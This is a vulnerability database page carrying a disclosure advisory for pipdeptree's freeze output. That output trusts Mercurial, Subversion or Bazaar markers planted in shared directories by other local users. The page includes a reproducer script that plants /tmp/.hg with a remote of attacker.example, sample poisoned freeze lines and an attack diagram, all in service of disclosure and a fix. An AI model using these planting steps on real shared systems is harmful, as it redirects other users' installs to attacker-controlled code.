Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseGHSA-pwcj-3vgc-5j8f

GHSA-pwcj-3vgc-5j8f: 
Python vulnerability analysis and mitigation

Summary

For --freeze (-o freeze), pipdeptree finds the Mercurial, Subversion or Bazaar checkout of an editable install by walking up from the install's folder to the first .hg, .svn or .bzr it sees, and takes the remote URL and commit from it. It never checks who owns that marker. Another local account can create /tmp/.hg with a [paths] default of its choosing, and every editable project below /tmp without a checkout of its own then freezes as -e hg+https://attacker.example/repo@<commit>#egg=.... Installing from that freeze output fetches the attacker's code. Mercurial itself refuses that hgrc as untrusted; pipdeptree reads it directly. Anthropic's OSS Scanner reported this as ANT-2026-1HUVEFTO on 2026-11-23.

Affected area

Freeze output (--freeze, -o freeze) for editable installs, on Unix.

Attacker-controlled input

A .hg (or .svn, .bzr) directory created by another local account in a shared directory above the editable project, such as /tmp/.hg/hgrc with [paths] default = https://attacker.example/repo.

Affected code

At 4.2.16 (70dcc3e):

Mechanism

  1. An editable install records its project folder (direct_url.json, "editable": true). For freeze, pipdeptree asks each VCS backend for the checkout containing that folder.
  2. The hg, svn and bzr backends call marker_root, which climbs from the folder towards / and stops at the first .hg, .svn or .bzr that exists, whoever created it.
  3. For hg, default_path parses .hg/hgrc itself and the commit comes from the checkout, so the planted remote and commit become the freeze line. hg showconfig in the same folder refuses the file: not trusting file /tmp/.hg/hgrc from untrusted user nobody. The svn route goes through the same marker_root and lets the planted .svn reach svn info, which the separate advisory for ANT-2026-0L409YKS covers. Out of scope: git refuses checkouts owned by others itself ("dubious ownership"); Windows has no owner in std and is unchanged.

Reproduction and evidence

hu.sh runs as root in a python:3.14 container (network off) with pipdeptree in /opt/venv and Mercurial installed. It creates a victim project /tmp/victim-project (mode 0700) with an editable demo install, freezes it, lets nobody run hg init in /tmp with an attacker hgrc, and freezes again as the victim and as root. With pipdeptree 4.2.16:

--- before

# Editable install with no version control (demo==1.0)
-e /tmp/victim-project
drwxr-xr-x. 1 nobody nogroup 204 Dec  1 16:11 /tmp/.hg
--- after (victim)
-e hg+https://attacker.example/repo@17e3dbe36ee8e627f115defed69349489ca705fd#egg=demo&subdirectory=victim-project
--- hg showconfig as victim
not trusting file /tmp/.hg/hgrc from untrusted user nobody, group nogroup
not trusting file /tmp/.hg/hgrc from untrusted user nobody, group nogroup
rc=1
--- after (root)
-e hg+https://attacker.example/repo@17e3dbe36ee8e627f115defed69349489ca705fd#egg=demo&subdirectory=victim-project

With the fix, both "after" runs print -e /tmp/victim-project with the no-version-control comment.

Attack sequence

sequenceDiagram
    participant M as other local user
    participant V as victim
    participant P as pipdeptree --freeze
    participant I as pip install -r
    M->>M: hg init /tmp, hgrc default = attacker.example/repo
    V->>P: freeze env with editable /tmp/victim-project
    activate P
    rect rgb(255, 214, 214)
    P->>P: marker_root climbs to /tmp/.hg (owner not checked)
    P->>P: default_path reads /tmp/.hg/hgrc
    end
    P-->>V: -e hg+https://attacker.example/repo@...
    deactivate P
    V->>I: install from the freeze file
    I->>I: clones and builds the attacker's repository
    rect rgb(216, 243, 220)
    P-->>P: fixed: marker counts only if owned by the project's owner or root
    end

Reproducer files

hu.sh (run as root in a python:3.14 container with pipdeptree in /opt/venv and Mercurial on PATH)

#!/bin/sh
useradd -m victim
P=/tmp/victim-project; SP=$P/site
mkdir -p $SP/demo-1.0.dist-info
printf '[project]\nname="demo"\nversion="1.0"\n' > $P/pyproject.toml
printf 'Metadata-Version: 2.1\nName: demo\nVersion: 1.0\n' > $SP/demo-1.0.dist-info/METADATA
printf '{"url": "file:///tmp/victim-project", "dir_info": {"editable": true}}' > $SP/demo-1.0.dist-info/direct_url.json
chown -R victim: $P; chmod 700 $P
echo "--- before"
su victim -c "/opt/venv/bin/pipdeptree --path $SP -o freeze"
su nobody -s /bin/sh -c 'cd /tmp && hg init -q && echo x > f && HOME=/tmp hg commit -q --addremove f -u attacker -m tip && printf "[paths]\ndefault = https://attacker.example/repo\n" > .hg/hgrc'
ls -ld /tmp/.hg
echo "--- after (victim)"
su victim -c "/opt/venv/bin/pipdeptree --path $SP -o freeze"
echo "--- hg showconfig as victim"
su victim -c "cd $P && hg showconfig paths.default; echo rc=\$?"
echo "--- after (root)"
/opt/venv/bin/pipdeptree --path $SP -o freeze

Impact

Another local user decides the source that a freeze file points an editable project at, so whoever installs from that file runs the attacker's build code. Reproduction is easy. Exposure is unlikely: the editable project must sit below a world-writable directory with no checkout of its own, and someone must install from the freeze output. Severity: 6.7 (Medium), CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H. AV:L, PR:L: a local account plants the marker. AC:H: the project must sit below a shared directory without its own checkout. UI:R: the victim freezes and installs from the output. C:H, I:H, A:H: the installed code runs as whoever installs. S:U.

Versions tested

pipdeptree 4.2.16 (identical Rust sources to main at 97fb19a), Mercurial in the python:3.14 Debian image, Linux. The svn route exists since 2.33.0 (#552); the hg route since 4.2.11 (#791). The fix accepts the nearest marker only when it belongs to the owner of the editable location or to root, or sits in a folder only its owner or root can write to, and stops the search at a refused one; it covers the hg, svn and bzr backends at once. Fix: https://github.com/tox-dev/pipdeptree/pull/923.

Known mitigation

Keep editable projects out of world-writable directories, or check that no .hg, .svn or .bzr you did not create exists in a directory above them before using freeze output.

Affected release

  • 2.33.0 to 4.2.16

Credits

Anthropic's OSS Scanner, ANT-2026-1HUVEFTO.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-jwjq-c2gw-w78mHIGH8.5
  • Python logoPython
  • executor-engine
NoNoDec 01, 2026
GHSA-2cv2-jjxv-85fgHIGH8.5
  • Python logoPython
  • funcdesc
NoNoDec 01, 2026
GHSA-m5hc-8vx6-x364HIGH7.8
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026
GHSA-pwcj-3vgc-5j8fMEDIUM6.7
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026
GHSA-gr9c-rr2h-w55hMEDIUM6.7
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management